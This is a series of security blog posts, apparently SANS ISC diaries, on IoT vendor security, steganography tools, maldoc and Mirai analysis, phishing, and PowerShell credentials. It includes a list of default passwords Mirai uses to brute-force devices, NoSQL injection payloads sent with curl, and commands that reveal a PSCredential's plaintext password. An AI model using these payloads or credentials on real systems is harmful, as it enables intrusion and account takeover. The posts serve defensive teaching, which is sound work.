If we know that the devices we buy today are vulnerable, then we should expect the vendor to deliver patches for some years to ensure that we do not have to replace the device earlier than expected. There is always a chance that a vulnerability will not be software patchable. For example, if the device supports a certain encryption algorithm, and includes specific hardware that is optimized for this algorithms, then it will not be possible to change the algorithm if it turns out to be broken. In this case, the vendor would have to recall the devices. As part fo the "End of Life Policy," the vendor should spell out what they will do in this case. For a consumer level device, I would hope for five years of security patches after the sale of a device has stopped by the vendor (no: I am not aware of ANY consumer level vendor doing this. I asked a few, and they essentially told me that the day a device is declared "End of Life," all support stops, and you may see an announcement a few months before the fact).

2 - How will I learn about security updates?

The vendor should provide a method to receive notifications of new updates. I prefer some form of an e-mail message. But a notice in the admin interface of the device will work, or at the very least, a web page that allows me to check what the latest firmware version is of a device. 

Ideally, there would be a standard web service, but I haven't seen any proposals for something like that. A simple GET request with the serial number, model number (or MAC address?) that will return the latest version of the firmware for this device would be great. 

3 - Can you share a pentest report for your device?

I don't expect all the gory details. But what I want to know: Did you bother with SOME testing... The level of detail you publish, and the firm performing the pentest may be a differentiator that will make me pick you as a vendor. A pentest report may also tell me if you have some form of software security program.

4 - How can I report vulnerabilities?

You may not be the world's best hacker. You may not be even interested in doing a security test on your new routers. But others will, and they need to be able to report these vulnerabilities. A bug bounty is great, but an easy to find web page with instructions on reporting vulnerabilities (including a PGP key) will do.

5 - If you use encryption, then disclose what algorithms you use and how it is implemented

Now we get into more specific issues. But encryption is so often done wrong. What options do you support? Is MD5 the only hashing function you use? You may say "Proprietary" if you don't want to tell me. And I will run to your competitor. Does your SSL library even support TLS 1.2? Or do you think openssl 0.9.6l is fine? The reason I want to know: I want to get some assurance that you considered encryption an important enough issue to document what you are doing and how you are implementing it. You may still get it wrong. But your chances of getting it right increase if you consider it important enough.

So why just ask these five questions? Why not ask more? I consider these the minimum bar every vendor should pass. There is always more that can be done, but these five issues should be "timeless" enough where you do not have to update them every few months. I don't know of any vendor that will answer all 5. You are more likely to get an answer from vendors that focus on enterprise and industrial systems. Don't expect too much from consumer level vendors. But please comment if you know of any vendors that will answer all or some of these questions (if you are a vendor: please let me know).

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

Updated with contest winners 14 DEC. Congrats to:

Chrissy @SecAssistance
Owen Yang @HomingFromWork
Paul Craddy @pcraddy
Mason Pokladnik - Fellow STI grad
Elliot Harbin @klax0ff

In the last of a three part (Part 1-GCIH, Part 2-GCIA) series focused on tools I revisited during my GSE re-certification process, I thought it'd be timely and relevant to give you a bit of a walkthrough re: steganography tools. Steganography "represents the art and science of hiding information by embedding messages within other, seemingly harmless messages."
Stego has garnered quite a bit of attention again lately as party to both exploitation and exfiltration tactics. On 6 DEC 2016, ESET described millions of victims among readers of popular websites who had been targeted by the Stegano exploit kit hiding in pixels of malicious ads. The Sucuri blog described credit card swipers in Magento sites on 17 OCT 2016, where attackers used image files as an obfuscation technique to hide stolen details from website owners, in images related to products sold on the victim website.
The GSE certification includes SANS 401 GSEC content, and Day 4 of the GSEC class content includes some time on steganography with the Image Steganography tool. Tools for steganographic creation are readily available, but a bit dated, including Image Steganography, last updated in 2011, and OpenStego, last updated in 2015. There are other older, command-line tools, but these two are really straightforward GUI-based options. Open source or free stego detection tools are unfortunately really dated and harder to find as a whole, unless you're a commercial tool user. StegExpose is one of a few open options that's fairly current (2015) and allows you to conduct steganalysis to detect LSB steganography in images. The LSB is the lowest significant bit in the byte value of the image pixel and LSB-based image steganography embeds the hidden payload in the least significant bits of pixel values of an image. 
Image Steganography uses LSB steganography, making this a perfect opportunity to pit one against the other.
Download Image Steganography from Codeplex, then run Image Steganography Setup.exe. Run Image Steganography after installation and select a PNG for your image. You can then type text you'd like to embed, or input data from a file. I chose wtf.png for my image, and rr.ps1 as my input file. I chose to write out the resulting stego sample to wtf2.png, as seen in Figure 1.
 

Figure 1: Image Steganography

This process in reverse to decode a message is just as easy. Select the decode radio button, and the UI will switch to decode mode. I dragged the wtf2.png file I'd just created, and opted to write the ouput to the same directory, as seen in Figure 2.

Figure 2: wtf.png decoded	Â	Â	Â

Pretty simple, and the extracted rr.ps1 file was unchanged from the original embedded file.
Now, will StegExpose detect this file as steganographic? Download StegExpose from Github, unpack master.zip, and navigate to the resulting directory from a command prompt. Run StegExpose.jar against the directory with your steganographic image as follows: java -jar StegExpose.jar c:\tmp\output. Sure enough, steganography confirmed as seen in Figure 3.

Figure 3: StegExpose

Not bad, right? Easy operations on both sides of the equation.

And now for a little contest. Five readers who email me via russ at holisticinfosec dot org and give me the most precise details regarding what I specifically hid in wtf2.png get a shout out here and $5 Starbucks gift cards for a little Christmastime caffeine.  
 

Contest: wtf2.png

Note: do not run the actual payload, it will annoy you to no end. If you must run it to decipher it, please do so in a VM. It's not malware, but again, it is annoying.

Cheers...until next time.

Diary reader Wayne Smith shared an interesting malicious document with us. Wayne also provided us with his own analysis: this malicious document sleeps and checks the time online before it activates its payload.

First we take a look at the sample (md5 7EAB96D2BC04CA155DE035815B88EE00) with oledump.py.

It's a .docx file that contains 4 embedded objects. When we calculate the hashes, we see that the 4 documents are identical:

As all objects are identical, we just need to analyze one object:

It's a VBS file, let's extract it:

Analysis of this obfuscated code reveals that it is a downloader with a particular property (for a maldoc): before downloading and executing the payload, this VBS code will sleep for 5 minutes, checking the elapsed time every minute by querying http://time.nist.gov:13.

By sleeping and checking the time online, this sample hopes to evade detection by sandboxes that do time acceleration without interfering with online time checking. This sample will sleep indefinitely when online time querying fails.

Didier Stevens
Microsoft MVP Consumer Security
blog.DidierStevens.com DidierStevensLabs.com
NVISO

Shortly after Mirai was attributed to massive DDOS on OVH and Brian Krebs the source code for Mirai was released on Github.  This was a double edged sword.  It gave security researchers insight into the code, but it also made it more available to those who may want to use it for nefarious purposes.  Within days Mirai variants were detected.  Now chinese researchers Network Security Research Labs  are reporting that recent samples of Mirai have a domain generation algorithm (DGA) feature.  The DGA is somewhat limited in that it will only generate one domain per day, so a total of 365 total domains are possible and they are all in the .tech or .support TLDs.  Further investigation reveals that some of these possible domains have already been registered, presumably by the Mirai variant author.

A few of the domains were in the past, but a number are coming up in the next couple of weeks.

Definitely something to have your Intrusion Detection and DNS sensors watch for.

The detailed analysis of the malware sample is a fun read...if you are into such things.

-- Rick Wanner MSISE - rwanner at isc dot sans dot edu - http://namedeplume.blogspot.com/ - Twitter:namedeplume (Protected)

When investigating events, like malware or spam hitting our systems, we often send notifications to parties from which the malicious traffic originates. One the other hand, it isn't terribly unusual, for us to receive malware notifications if some of the snippets of code we post match anti-virus patterns.

So I was not terribly surprised when I got an e-mail recently regarding one of my more "interesting" domains that I keep around for our web application security classes: xn--govindex-634g.biz . The e-mail claimed to come from an organization that calls itself "Domaincops.net":

As far as malicious e-mails go, I would consider this one of the better once. Obviously, they harvested whois information. It would not be terribly odd to find a link in a message like that (we try to avoid them, but I have seen them used in abuse notifications for tracking). But with any link, it is better to be careful, so I pulled it in from my sacrificial machine / malware lab. 

What I got was an RTF document called Abuse_report_HSQ393.doc. Virustotal had some history for the file and identified it as a generic downloader, exploiting an older (%%CVE:2012-0158%%) vulnerability. It is kind of sad that this group wasted a pretty nice scheme with a plausible domain name and only had a 2012 vulnerability to deliver with it.

First time I tried to download the file, the site was down (it was however protected by Cloudflare). A day or so later, the site was up again, and I finally was able to download my report. It is interesting that the e-mail was signed with DKIM (my mail server adds the "[dkimok]" flag to all e-mails that have a valid signature). This should make it less likely for e-mails like this to pass spam filters.

Currently, domaincops.net has been suspended by its registrar.

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

New releases of bad or weak passwords lists are common[1][2] on the Internet. Those lists compile passwords that are used by people to protect (even if it's not the most appropriate term) their accounts. But passwords are everywhere and also used to control access to devices. Recent attacks like the Mirai[3] botnet which attacked IoT devices are a good example. Once infected, a device will start to search for new potential victims by scanning the Internet for some vulnerable ports (TCP/23, TCP/2323 are good examples), then brute-force the password by testing a list of well-known passwords. Those passwords are somewhere different than users' password but just as vulnerable.

While hunting, I found some interesting pieces of C source code that contained lists of passwords used by such infected devices. Keep in mind that a password considered as strong (your know the magic formula: a mix of upper/lower case characters, numbers and special characters) is useless if it is known in the wild!

Here is the list of passwords that I found to be used in the wild:

"" (empty string!)
00000000
1111
1111111
1234
12345
123456
54321
666666
7ujMko0admin
7ujMko0vizxv
888888
Zte521
admin
admin1
admin1234
administrator
anko
default
dreambox
fucker
guest
hi3518
ikwb
juantech
jvbzd
klv123
klv1234
meinsm
pass
password
realtek
root
service
smcadmin
supervisor
support
system
tech
ubnt
user
vizxv
xc3511
xmhdipc
zlxx

If you have devices configured with one of those passwords, change it as soon as possible. Even, if your devices are not facing the internet! Feel free to share your list of passwords if you found others, I'm curious.

[1] http://gizmodo.com/the-25-most-popular-passwords-of-2015-were-all-such-id-1753591514
[2] http://www.passwordrandom.com/most-popular-passwords
[3] https://isc.sans.edu/forums/diary/The+Short+Life+of+a+Vulnerable+DVR+Connected+to+the+Internet/21543

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key

In last couple of years, the MEAN stack (MongoDB, Express.js, Angular.js and Node.js) became the stack of choice for many web application developers. The main reason for this popularity is the fact that the stack supports both client and server side programs written in JavaScript, allowing easy development.

The core database used by the MEAN stack, MongoDB, is a NoSQL database program that uses JSON-like documents with dynamic schemas allowing huge flexibility.

Although NoSQL databases are not vulnerable to standard SQL injection attacks, they can be exploited with various injection vulnerabilities depending on creation of queries which can even include user-defined JavaScript functions.

This diary is actually based on a real penetration test I did on a MEAN based application that initially looked completely safe. So let’s see what this is all about.

MongoDB collections

MongoDB collections are actually very similar to tables in standard databases. They will hold all sorts of different data and will allow easy (and fast!) retrieval. Here is one example of a MongoDB collection called rockband.

This collection can be very easily queried and MongoDB allows different (and powerful!) operators. For example, if in a different collection we want to query all products that have quantity greater than 25, the following MongoDB query will work:

db.products.find( { qty: { $gt: 25 } } )

This is important for us as penetration testers since we can potentially influence how a query will be executed – and we all know that as long as we can modify input parameters we can make the database do whatever we want it to do (or close enough).

Notice here that JSON, which is used to format queries, has different “dangerous” characters than those we know from SQL databases: here we care about characters / { } :

Easy development with MEAN

One of the best things of the MEAN stack is that it is very easy and simple to develop web applications. After setting some basic configuration, it is trivial to create a route to our own JavaScript function that will handle certain requests. Let’s see an example:

app.listen(port);

app.get('/documents/:id', function (req, res) {
...

This will route all requests such as /documents/a9577050-31cf-11e6-957b-43a5e81bf71e to our function. Our function can then take the id argument (a9577050-31cf-11e6-957b-43a5e81bf71e) and search for it in MongoDB.
Notice here that, although the URL looks static, it is not static at all – the GUID here is a parameter that is later used in a function. A question for you: what will your web scanner of choice try to do with this query? Will it insert a ‘ character? Does it really support NoSQL?

Easy != secure

One thing we have to be always careful about is how we handle user input. In the example above, the typical MongoDB query in the background will look like this:

var param = req.params.id;

db.collection('documents').findOne( { friendly: param } ), function (err, result) {
...

So, the id parameter is assigned to the param variable and used as the friendly parameter in the search operator. Now, one thing to stress out here is that this code is safe: no matter what we input as the id parameter, it will be treated as string, so we cannot escape from this.
However, in penetration tests I did, I encountered multiple cases when developers did something like this, presumably to make later use easier:

var param = req.bodu.id;

var searchparam = JSON.parse("{ \"friendly:\" " + param + " }");

db.collection('documents').findOne(searchparam), function (err, result) {
...

The problem here is that the developer decided to convert the param variable (which is populated directly with the id parameter taken from the HTTP body) into a JSON string.
Now, as you can probably presume, this is treated differently by MongoDB.

Exploitation time

In case above we can actually manipulate the query quite a bit. Let’s see some examples:

$ curl http://vulnsite/documents/ -d "id={ \"\$ne\": null }"

What did we do here? We supplied the id parameter in the body of a HTTP request. Since the code will take its value and compose a JSON object, this will be our final query:

{ friendly: { $ne: null } }

Interesting! So we will actually retrieve the first document from the collection!
What about other documents? It looked as the id parameter is a long GUID which cannot be brute forced. But, we can use some powerful operators that are supported by MongoDB, such as this one:

{ "$regex": "^a" }

So the search operator will be:

{ friendly: { $regex: "^a" } }

And this will retrieve the first document whose GUID starts with the character a. Nice! We can now retrieve things character by character and do not have to brute force it any more. And just in case we have some kind of WAF (does your WAF “understand” NoSQL), we can even modify it a bit:

{ friendly: { $in: [ /^a/ ] } }

This will result in the same document.

As we can see, NoSQL databases and applications that use them can also be quite vulnerable to injection attacks, so we should never underestimate what an attacker can do that can manipulate input parameters: we should always properly filter and sanitize them.

MongoDB actually supports quite a bit of search operators that can be used in this example – you can read more about them at https://docs.mongodb.com/manual/reference/operator/

As NoSQL databases are becoming more popular, I am sure that we will see new and innovative attacks against them. Interesting time is coming for sure!

--
Bojan
@bojanz
INFIGO IS

I produced videos for the Hancitor maldoc mentioned in this diary.

Hancitor Maldoc: Shellcode Dynamic Analysis

Hancitor maldoc: Extracting URLs

EMET vs Hancitor Maldoc

VBA Shellcode To Test EMET

Didier Stevens
Microsoft MVP Consumer Security
blog.DidierStevens.com DidierStevensLabs.com
NVISO

If you're like me, you've worked through at least one Powershell tutorial, class or even a "how-to" blog.  And you've likely been advised to use the PSCredential construct to store credentials.  The discussion usually covers that this a secure way to collect credentials, then store them in a variable for later use.  You can even store them in a file and read them back later.  Awesome - this solves a real problem you thought - or does it?

For instance, to collect credentials for a VMware vSphere infrastructure (I'm wrapping up a number of audit scripts this week), you'd do something like:

$vicreds = Get-Credential $null

Which gets you a familiar input screen:

But while I was working on my scripts, I got to thinking.  Wait a minute - I'm using this same credential variable to authenticate to vSphere, to map drives and to login to several web interfaces.  What that means to me is that these credentials are being decrypted as they're used in at least some cases.  And given that Powershell is essentially a front-end to dotNet and every other Windows API ever invented, that means that we can likely decrypt this password too.

Let's take a look.  First, what's in that PSCredentials variable?

$vicreds | gm

   TypeName: System.Management.Automation.PSCredential

Name                 MemberType Definition
----                 ---------- ----------
Equals               Method     bool Equals(System.Object obj)
GetHashCode          Method     int GetHashCode()
GetNetworkCredential Method     System.Net.NetworkCredential GetNetworkCrede...
GetObjectData        Method     void GetObjectData(System.Runtime.Serializat...
GetType              Method     type GetType()
ToString             Method     string ToString()
Password             Property   securestring Password {get;}
UserName             Property   string UserName {get;}

The username is in the clear:

$vicreds.username
someuserid

However, the password is in the Powershell "securestring" format:

$vicreds.password
System.Security.SecureString

Digging deeper, what's behind that passord property?

$vicreds.password | gm

   TypeName: System.Security.SecureString

Name         MemberType Definition
----         ---------- ----------
AppendChar   Method     void AppendChar(char c)
Clear        Method     void Clear()
Copy         Method     securestring Copy()
Dispose      Method     void Dispose(), void IDisposable.Dispose()
Equals       Method     bool Equals(System.Object obj)
GetHashCode  Method     int GetHashCode()
GetType      Method     type GetType()
InsertAt     Method     void InsertAt(int index, char c)
IsReadOnly   Method     bool IsReadOnly()
MakeReadOnly Method     void MakeReadOnly()
RemoveAt     Method     void RemoveAt(int index)
SetAt        Method     void SetAt(int index, char c)
ToString     Method     string ToString()
Length       Property   int Length {get;}

Running digging deeper with "tostring", we get no further.

$vicreds.password.tostring()
System.Security.SecureString

But dumping the password length, we get the right answer!  This means it's getting decrypted for-sure.

$vicreds.password.length
9

After some googling, I found the "convertfrom-securestring" command, but what I get out of that is a boatload of obfuscation:

ConvertFrom-SecureString $vicreds.password
01000000d08c9ddf0115d1118c7a00c04fc297eb01000000da2ad689e7762d4ba723d22648abc93
b00000000020000000000106600000001000020000000aae149136cd7e40f2be310cfa95f2985a9
82a1734d4391be96ccd2098389ed81000000000e8000000002000020000000a6682556eb824853f
026f2dcd19d9e7506b81c4fce950e46ce1d46bc50612f5220000000b01a820022b2a199da1e9348
27d15e2aa0175cd775dc1179da1e706f5214554c40000000bbd980faa6682cb753dfa9899faf0b8
43e5b72b9b27650a34fe980f1432988130e4e939f8fee3254487128c82acd2f4e33cdbb36c0ee9a
e50b6e555015ad646a

After a bit more looking, it was as simple as finding the right command - which is what we pretty much knew going in!

$vicreds.GetNetworkCredential().password
S3cr3tPWd

Yup, that's the super-secret password we started with!

The point of all of this?  There is no secure, native way to store passwords for re-use.  For some reason as an industry, lots of folks have got the understanding that PSCredential makes a great "vault" for passwords though.  The PSCredential approach is definitely the way to go in any code you might be writing.  For me though, I'd be sure to use it only where required, zero out these variables when you're done with them to at least try to work against memory scraping (and hope that zeroing them out actually works), and I'm not storing them off to files for later re-use.   If you can use certificates for authentication, that's really the best way to go - though there are good and not-so-good ways to do this too (stay tuned).  Or better yet, 2FA beats every other method hands-down!

And for goodness sake, don't use PSCredentials as a credential store for use in authentication of other users - don't take userid/password entry and compare it to encrypted passwords of any kind!  Salted hashes (PBKDF2 by preference) is still the way to go for this!

===============
Rob VandenBrink
Compugen

First a disclaimer: This method works for a home network, maybe a small business network. I do describe how to do this using a specific vendor's equipment. This isn't an endorsement of the vendor. 

Back in the 100 BaseT days, it was pretty easy to make your own tap. You could essentially just connect the network cable's transmit line to the receive pins of a "output" plug, and all it took was four network plug, a punch down tool and a bit of wire. Sadly, with Gigabit Ethernet, both pairs are used to transmit and receive. Tapping this type of network is a bit more tricky and requires more sophisticated circuitry.

You can buy some relatively cheap "Taps," but often a simple switch is cheaper, and provides similar capabilities. To monitor just a single network segment, a simple switch like this may be perfectly acceptable, and with port-based VLANs, you can even aggregate multiple segments. 

To get us started here is a little network diagram to illustrate some of the challenges you may run into

There are three possible spots to connect a sensor:

1. Between Firewall and Modem: In this case, you will see all the traffic entering / leaving the network. But you will only see the "NAT'ed" traffic assuming that the firewall/router also does NAT. It will be difficult to assign traffic to a particular device on your network
2. "LAN": This is the network we use to connect our workstations/mobile device. We can define a port on the "LAN" switch as a mirror port and at least mirror the port connected to the gateway. This should give us a nice spot to connect a sensor.
3. "WAN": Same as for the "LAN" port, a mirror port on the switch will allow us to watch traffic to/from the servers connected to this switch

So how do we monitor traffic in both networks, the "LAN" and the "WAN" segment? There are a couple of options here:

Run the "sensor" on your Firewall/Router

If you are using a homemade Linux device or PF Sense, then it is pretty easy to install tools like snort or even bro on the device as well. Again: We are talking home network here. But even in a home network, I find that this type of setup quickly runs out of steam, in particular, if you are using less than state-of-the-art hardware.

Run a dedicated sensor, with multiple network cards

You will need a network card for each segment and one more for a management network. In the diagram this would require at least three (LAN, DMZ + management) or even four (LAN, DMZ, WAN + management) . Finding a small / low-cost system with more than two network cards is challenging. But luckily, with some port-based VLAN trickery, our cheap monitor switch can be coerced into aggregating multiple networks.

Aggregating Multiple Network Segments with a Switch

I am using the Netgear GS105Ev2 switch. This is a 5 port switch that offers port-based VLANs and port mirroring, the two features I am going to use here. Other switches that provides these two features should work as well. This switch currently sells for about $45.

First, figure out which port you would like to use how. In my example, I am using:

Port 1 to manage the switch
Port 2,3,4 to connect to the different network segments
Port 5 to connect to the sensor (and remember that the monitoring interface of the sensor has no IP address, but is just listening)
 

First, let's configure the "mirror" feature. We define ports 2,3,4 as "source" and port 5 as destination

Next, let's define the VLANs. Setting up port-based VLANs is CRITICAL since we do not want to "shortcut" the different network segments

So how bad is it? Does it work at all?

It does work pretty well. I still have to measure the exact throughput. The admin interface for the switch does become unresponsive pretty quickly, but well, once it is set up, you don't need to touch it anymore. There are better switches with more buffer memory that you can often get on eBay for not much more money. I am having a hard time finding "real" gigabit taps for less than a few hundred dollars on eBay. But you may get lucky. Many of the taps that you find around this same price are typically actually just switches that are preconfigured with a monitoring port.

Let me know if it works for you, or if you have better ideas to monitor multiple gigabit network segments. If you are just interested in using a switch as a tap, there are a couple of videos on YouTube walking you through the setup.

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn